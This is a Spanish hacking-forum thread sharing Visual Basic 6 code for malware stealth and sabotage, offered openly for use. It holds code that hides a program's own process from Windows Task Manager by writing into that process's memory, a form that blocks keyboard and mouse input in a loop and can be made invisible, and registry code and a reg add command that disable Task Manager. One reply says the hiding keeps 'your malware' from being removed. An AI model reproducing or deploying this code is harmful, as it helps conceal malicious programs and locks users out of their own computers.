hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
06 de Octubre de 2008, 09:25:42
Noticias: ¿No te llega el email de confirmacion?
Para ver este enlace Registrate o Inicia Sesion
> leer aqui

+  Foros pOrtal Hacker
|-+  Programacion
| |-+  Programación en general
| | |-+  Visual Basic (Moderadores: ranefi, crypto136, ziBboh, >> s E t H <<)
| | | |-+  Bloquear CTRL+ALT+SUPR
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Bloquear CTRL+ALT+SUPR  (Leído 472 veces)
Cheatmaster
NZ2
**
Desconectado Desconectado

Mensajes: 147


Ver Perfil
« : 18 de Mayo de 2007, 02:21:13 »

Aqui os dejo el codigo Wink

Option Explicit
'-----Modulo-----
Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function EnumChildWindo ws Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Private Declare Function GetWindowThrea dProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function ReadProcessMem ory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfByte sWritten As Long) As Long
Private Declare Function WriteProcessMe mory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfByte sWritten As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAcces s As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Public Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Public Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long

Const PROCESS_VM_OPE RATION = &H8
Const PROCESS_VM_REA D = &H10
Const PROCESS_VM_WRI TE = &H20
Const PROCESS_ALL_AC CESS = 0
Private Const PAGE_READWRITE = &H4&

Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const MEM_DECOMMIT = &H4000
Const MEM_RELEASE = &H8000
Const MEM_FREE = &H10000
Const MEM_PRIVATE = &H20000
Const MEM_MAPPED = &H40000
Const MEM_TOP_DOWN = &H100000

Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationTy pe As Long, ByVal flProtect As Long) As Long
Private Declare Function VirtualFreeEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private Const LVM_FIRST = &H1000
Private Const LVM_GETTITEMCO UNT& = (LVM_FIRST + 4)

Private Const LVM_GETITEMW = (LVM_FIRST + 75)
Private Const LVIF_TEXT = &H1
Private Const LVM_DELETEITEM = 4104

Public Type LV_ITEM
    mask As Long
    iItem As Long
    iSubItem As Long
    state As Long
    stateMask As Long
    lpszText As Long 'LPCSTR
    cchTextMax As Long
    iImage As Long
    lParam As Long
    iIndent As Long
End Type

Type LV_TEXT
    sItemText As String * 80
End Type

Public Function Procesos(ByVal hWnd2 As Long, lParam As String) As Boolean
Dim Nombre As String * 255, nombreClase As String * 255
Dim Nombre2 As String, nombreClase2 As String
Dim X As Long, Y As Long
X = GetWindowText(hWnd2, Nombre, 255)
Y = GetClassName(hWnd2, nombreClase, 255)

Nombre = Left(Nombre, X)
nombreClase = Left(nombreClase, Y)
Nombre2 = Trim(Nombre)
nombreClase2 = Trim(nombreClase)
If nombreClase2 = "SysListView32" And Nombre2 = "Procesos" Then
   OcultarItems (hWnd2)
   Exit Function
End If
If Nombre2 = "" And nombreClase2 = "" Then
Procesos = False
Else
Procesos = True
End If
End Function

Private Function OcultarItems(ByVal hListView As Long) ' As Variant
   Dim pid As Long, tid As Long
   Dim hProceso As Long, nElem As Long, lEscribiendo As Long, i As Long
   Dim DirMemComp As Long, dwTam As Long
   Dim DirMemComp2 As Long
   Dim sLVItems() As String
   Dim li As LV_ITEM
   Dim lt As LV_TEXT
   If hListView = 0 Then Exit Function
   tid = GetWindowThrea dProcessId(hListView, pid)
   nElem = SendMessage(hListView, LVM_GETTITEMCO UNT, 0, 0&)
   If nElem = 0 Then Exit Function
   ReDim sLVItems(nElem - 1)
   li.cchTextMax = 80
   dwTam = Len(li)
      DirMemComp = GetMemComp(pid, dwTam, hProceso)
      DirMemComp2 = GetMemComp(pid, LenB(lt), hProceso)
      For i = 0 To nElem - 1
          li.lpszText = DirMemComp2
          li.cchTextMax = 80
          li.iItem = i
          li.mask = LVIF_TEXT
          WriteProcessMe mory hProceso, ByVal DirMemComp, li, dwTam, lEscribiendo
          lt.sItemText = Space(80)
          WriteProcessMe mory hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo
          Call SendMessage(hListView, LVM_GETITEMW, 0, ByVal DirMemComp)
          Call ReadProcessMem ory(hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo)
          If TrimNull(StrConv(lt.sItemText, vbFromUnicode)) = App.EXEName & ".exe" Then  '<===========CAMBIAR
           Call SendMessage(hListView, LVM_DELETEITEM, i, 0)
           Exit Function
          End If
      Next i
      CloseMemComp hProceso, DirMemComp, dwTam
      CloseMemComp hProceso, DirMemComp2, LenB(lt)
End Function

Private Function GetMemComp(ByVal pid As Long, ByVal memTam As Long, hProceso As Long) As Long
    hProceso = OpenProcess(PROCESS_VM_OPE RATION Or PROCESS_VM_REA D Or PROCESS_VM_WRI TE, False, pid)
    GetMemComp = VirtualAllocEx(ByVal hProceso, ByVal 0&, ByVal memTam, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
End Function

Private Sub CloseMemComp(ByVal hProceso As Long, ByVal DirMem As Long, ByVal memTam As Long)
   Call VirtualFreeEx(hProceso, ByVal DirMem, memTam, MEM_RELEASE)
   CloseHandle hProceso
End Sub
Private Function TrimNull(sInput As String) As String
   Dim pos As Integer
   pos = InStr(sInput, Chr$(0))
   If pos Then
      TrimNull = Left$(sInput, pos - 1)
      Exit Function
   End If
   TrimNull = sInput
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Dim Handle As Long
Handle = FindWindow(vbNullString, "Administrador de tareas de Windows")
If Handle <> 0 Then EnumChildWindo ws Handle, AddressOf Procesos, 1
End Sub

Public Sub Ocultar(ByVal hwnd As Long)
    App.TaskVisibl e = False
    SetTimer hwnd, 0, 20, AddressOf TimerProc
End Sub

Public Sub Mostrar(ByVal hwnd As Long)
    App.TaskVisibl e = True
    KillTimer hwnd, 0
End Sub


ok ahora el form, LES ADVIERTO Y PRESTEN ATENCION PROQ YO HACIENDOLO SUFRI LAS CONSECUENCIAS, ( se me bloqueo el teclado mause y todo, y gracias a le di la propiedad intelectual de no poder ser cerrada ni detenida por el alt+cntl+supr entonces bue.. imaginense la tragedia, tube que reiniciar)
les explico la funcion, esto lo pense por alrededor de 2 dias ya que como no soy ningun programador altoooo! entonces bue, lo que no se por codigos cortos lo invento, hay les vaaaa!!! preparencee!! puff!------------>
bloquea el teclado y mouse cada 1 milisegundo por lo tanto cuando apretes alt+cntrl+supr se bloqueara no dandote tiempo ni para pensar en que hacer
ustedes despeus lo peuden editar poniendo el form invisible y nadie sabra que paso!

dim s As Integer





Private Sub Form_Load()
Timer1.Interva l = 10
BlockInput True
End Sub



Private Sub Timer1_Timer()

s = s + 1
Label1.Caption = s
If s = 5 Then
s = 0
BlockInput True
End If

End Sub

Solo hace falta un timer,

Fuente, Canalvb
En línea
ziBboh
Moderador
*****
Desconectado Desconectado

Mensajes: 369


ziBboh dice: Ya nacio mini-ziBboh! :)


Ver Perfil
« Respuesta #1 : 18 de Mayo de 2007, 09:44:22 »

Oye brother, no se que hace todo ese codigo, pero creo que esto bloquea el taskmgr.exe "Task Manager" o Ctrl+Alt+Supr sin tanto codigo
Código:
Const REG_DWORD = 4
Const HKEY_CURRENT_USER = &H80000001

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Long, ByVal cbData As Long) As Long

Sub SaveStringLong(hKey As Long, strPath As String, strValue As String, strData As String)
    Dim Ret
    RegCreateKey hKey, strPath, Ret
    RegSetValueExLong Ret, strValue, 0&, REG_DWORD, CByte(strData), 4&
    RegCloseKey Ret
End Sub

Private Sub Command1_Click() 'Habilitar
SaveStringLong HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System" _
, "DisableTaskMgr", CByte(0)
End Sub

Private Sub Command2_Click() 'Deshabilitar
SaveStringLong HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System" _
, "DisableTaskMgr", CByte(1)
End Sub

Ya con eso no necesitas bloquear el teclado y el mouse. Espero y les sirva esta info.

Nota.- NO LO USEN PARA EL MAL!
jejeje ya se que no haran caso a mi nota, pero el intento se hizo.

Saludos a toda la comunidad.
En línea



ziBboh dice: NO SPAM!El número de post no te hace mejor ...Todos somos iguales!
Korpex
Visitante
« Respuesta #2 : 19 de Mayo de 2007, 07:03:39 »

o también se puede deshabilitar desde el registro.

Shell ("reg add HKEY_CURRENT_U SER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f")


Saludos.
En línea
tragantras
NZ1
*
Desconectado Desconectado

Mensajes: 87



Ver Perfil
« Respuesta #3 : 19 de Mayo de 2007, 07:42:41 »

zibOh lo que CheatMaster a colocado aqui es para QUE NO SE VEA EL PROCESO en la lista de procesos, no para que no se pueda abrir el taskmanager. Esque es obvio que si tu psas de poder hacer una cosa a dejar de poder hacerla es pq "Algo" a modificado eso, y esto puede dar motivo a terminar eliminandose tu malware.
Aki pongo otra version de lo mismo que puso cheatmaster pero con dos botones, uno para activar y otro para desactivar
 

Esto en un module bas

Código:
Option Explicit
'Declaraciones Api
'*************************************
'Retorna un handle de ventana
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal _
                                        lpClassName As String, ByVal lpWindowName _
                                        As String) As Long
'Enumera las ventanas hijas a partir de una superior
Public Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, _
                                        ByVal lpEnumFunc As Long, ByVal lParam As _
                                        Long) As Long
'Devuelve el texto de una ventana a partir del handle
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal _
                                        hwnd As Long, ByVal lpString As String, ByVal _
                                        cch As Long) As Long
'REcupera el nombre de la clase de ventana a partir del handle
Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd _
                                        As Long, ByVal lpClassName As String, ByVal _
                                        nMaxCount As Long) As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As _
                                        Long, ByVal wMsg As Long, ByVal wParam As Long, _
                                        lParam As Any) As Long

'Apis para usar un temporizador
Public Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, _
                                        ByVal uElapse As Long, ByVal lpTimerFunc As _
                                        Long) As Long
Public Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As _
                                        Long) As Long

Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, _
                                        lpdwProcessId As Long) As Long
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, _
                                        lpBaseAddress As Any, lpBuffer As Any, ByVal nSize _
                                        As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, _
                                        lpBaseAddress As Any, lpBuffer As Any, ByVal _
                                        nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal _
                                        bInheritHandle As Long, ByVal dwProcessId As _
                                        Long) As Long

'Constantes
'****************************************

Const PROCESS_VM_OPERATION = &H8
Const PROCESS_VM_READ = &H10
Const PROCESS_VM_WRITE = &H20
Const PROCESS_ALL_ACCESS = 0
Private Const PAGE_READWRITE = &H4&

Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const MEM_DECOMMIT = &H4000
Const MEM_RELEASE = &H8000
Const MEM_FREE = &H10000
Const MEM_PRIVATE = &H20000
Const MEM_MAPPED = &H40000
Const MEM_TOP_DOWN = &H100000

Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As _
                                            Long, ByVal lpAddress As Long, ByVal _
                                            dwSize As Long, ByVal flAllocationType _
                                            As Long, ByVal flProtect As Long) As Long
Private Declare Function VirtualFreeEx Lib "kernel32" (ByVal hProcess As Long, _
                                            lpAddress As Any, ByVal dwSize As Long, _
                                            ByVal dwFreeType As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

'Constantes para el ListView de la ventana del administrador de tareas
Private Const LVM_FIRST = &H1000
Private Const LVM_GETTITEMCOUNT& = (LVM_FIRST + 4)

Private Const  ILVM_GETITEMW = (LVM_FIRST + 75)
Private Const LVIF_TEXT = &H1
Private Const LVM_DELETEITEM = 4104


Public Type LV_ITEM
    mask As Long
    iItem As Long
    iSubItem As Long
    state As Long
    stateMask As Long
    lpszText As Long 'LPCSTR
    cchTextMax As Long
    iImage As Long
    lParam As Long
    iIndent As Long
End Type

Type LV_TEXT
    sItemText As String * 80
End Type


Public Function Procesos(ByVal hWnd2 As Long, lParam As String) As Boolean
  Dim Nombre As String * 255, nombreClase As String * 255
  Dim Nombre2 As String, nombreClase2 As String
  Dim X As Long, Y As Long
  X = GetWindowText(hWnd2, Nombre, 255)
  Y = GetClassName(hWnd2, nombreClase, 255)
  'Buffers
  Nombre = Left$(Nombre, X)
  nombreClase = Left$(nombreClase, Y)
 
  Nombre2 = Trim$(Nombre)
  nombreClase2 = Trim$(nombreClase)
 
  'SysListView32 es el nombre de clase del LV del Administrador de T
  If nombreClase2 = "SysListView32" And Nombre2 = "Procesos" Then
     OcultarItems (hWnd2)
     Exit Function
  End If
 
  If Nombre2 = "" And nombreClase2 = "" Then
     Procesos = False
  Else
     Procesos = True
  End If
End Function

'A esta función se le pasa el Handle del ListView del Administrador de tareas _
que es obtenido desde la función " Procesos "
Private Function OcultarItems(ByVal hListView As Long) ' As Variant
   Dim pid As Long, tid As Long
   Dim hProceso As Long, nElem As Long, lEscribiendo As Long, i As Long
   Dim DirMemComp As Long, dwTam As Long
   Dim DirMemComp2 As Long
   Dim sLVItems() As String
   Dim li As LV_ITEM
   Dim lt As LV_TEXT
   If hListView = 0 Then Exit Function
   tid = GetWindowThreadProcessId(hListView, pid)
   
   'Obtiene el número de items del ListView
   nElem = SendMessage(hListView, LVM_GETTITEMCOUNT, 0, 0&)
   
   If nElem = 0 Then Exit Function
   
   ReDim sLVItems(nElem - 1)
   
   li.cchTextMax = 80
   
   dwTam = Len(li)
      DirMemComp = GetMemComp(pid, dwTam, hProceso)
      DirMemComp2 = GetMemComp(pid, LenB(lt), hProceso)
     
      For i = 0 To nElem - 1
          li.lpszText = DirMemComp2
          li.cchTextMax = 80
          li.iItem = i
          li.mask = LVIF_TEXT
          WriteProcessMemory hProceso, ByVal DirMemComp, li, dwTam, lEscribiendo
          lt.sItemText = Space(80)
          WriteProcessMemory hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo
         
          'Recupera un item del LV
          Call SendMessage(hListView, LVM_GETITEMW, 0, ByVal DirMemComp)
          Call ReadProcessMemory(hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo)
         
          'Acá verifica si lt.sItemText es el nombre del exe. Si está Lo elimina
         
          If TrimNull(StrConv(lt.sItemText, vbFromUnicode)) = App.EXEName & ".exe" Then
           Call SendMessage(hListView, LVM_DELETEITEM, i, 0)
           Exit Function
          End If
      Next i
     
      CloseMemComp hProceso, DirMemComp, dwTam
      CloseMemComp hProceso, DirMemComp2, LenB(lt)

End Function

Private Function GetMemComp(ByVal pid As Long, ByVal memTam As Long, hProceso As Long) As Long
   
    hProceso = OpenProcess(PROCESS_VM_OPERATION Or PROCESS_VM_READ _
                           Or PROCESS_VM_WRITE, False, pid)
    GetMemComp = VirtualAllocEx(ByVal hProceso, ByVal 0&, ByVal memTam, _
                           MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
End Function

Private Sub CloseMemComp(ByVal hProceso As Long, ByVal DirMem As Long, ByVal memTam As Long)
   
   Call VirtualFreeEx(hProceso, ByVal DirMem, memTam, MEM_RELEASE)
   CloseHandle hProceso

End Sub

'Elimina los nulos
Private Function TrimNull(sInput As String) As String
   Dim pos As Integer
   pos = InStr(sInput, Chr$(0))
   If pos Then
      TrimNull = Left$(sInput, pos - 1)
      Exit Function
   End If
   TrimNull = sInput
End Function

'Temporizador que cheaquea constantemente si el Administrador de tareas está ejecutandose
Public Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Dim Handle As Long
'Se obtiene el HWND del administrador de tareas
Handle = FindWindow(vbNullString, "Administrador de tareas de Windows")

'Si el administrador está visible el handle es distinto de 0 _
y se llama a EnumChildWindows pasandole el Handle del AT y la dirección _
de la función Procesos. EnumChildWindows obtiene el handle del ListView
If Handle <> 0 Then
   EnumChildWindows Handle, AddressOf Procesos, 1
End If
End Sub

'Oculta y visualiza el item del proceso
Public Sub Ocultar(ByVal hwnd As Long)
    App.TaskVisible = False
    SetTimer hwnd, 0, 20, AddressOf TimerProc
End Sub

Public Sub Mostrar(ByVal hwnd As Long)
    App.TaskVisible = True
    KillTimer hwnd, 0
End Sub

Y esto en el form1

Código:
'Oculta el proceso del Administrador de Tareas
Private Sub Command1_Click()
Ocultar Me.hwnd
End Sub

'Visualiza el proceso
Private Sub Command2_Click()
Mostrar Me.hwnd
End Sub


Fuente --->
Para ver este enlace Registrate o Inicia Sesion
En línea

¿Me das tu ip? XDDD
Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online